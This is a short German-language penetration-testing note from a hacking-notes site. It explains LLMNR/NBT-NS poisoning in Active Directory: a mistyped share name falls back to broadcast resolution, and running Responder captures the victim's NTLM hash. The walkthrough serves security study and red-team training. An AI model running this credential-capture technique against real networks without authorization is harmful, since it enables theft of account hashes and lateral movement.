> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/active-directory/lateral-movement/llmnr-nbt-ns-poisoning.md).

# LLMNR / NBT-NS Poisoning

Wenn der Zugriff mit einem gültigen Namen erfolgt, läuft die Auflösung zunächst über das DNS des Domänencontrollers.

{% code overflow="wrap" %}

```bash
dir //WS01/c$
```

{% endcode %}

Wenn der Name nicht existiert, versucht Windows dann eine Auflösung über `LLMNR` oder `NBT-NS` per Broadcast.

{% code overflow="wrap" %}

```bash
dir //test/c$
```

{% endcode %}

<figure><img src="/files/9582df98fc93914efa1525cfb19ccc2f45944d9a" alt=""><figcaption></figcaption></figure>

Unter Linux können wir diese Anfragen abhören und mit `Responder`.

{% code overflow="wrap" %}

```bash
sudo responder -I ens33
```

{% endcode %}

<figure><img src="/files/1c592199192912cc8423a1e0af6510db9f09e08d" alt=""><figcaption></figcaption></figure>

Wenn ein Opfer den falschen Freigabenamen eingibt, landet die Anfrage dann auf unserer Maschine.

{% code overflow="wrap" %}

```bash
dir //test/c$
```

{% endcode %}

Anschließend erhalten wir den NTLM-Hash des Kontos, das die Verbindung herzustellen versucht.

<figure><img src="/files/9f23c4cb3c64adfa241c47c3bec06f02137b6646" alt=""><figcaption></figcaption></figure>


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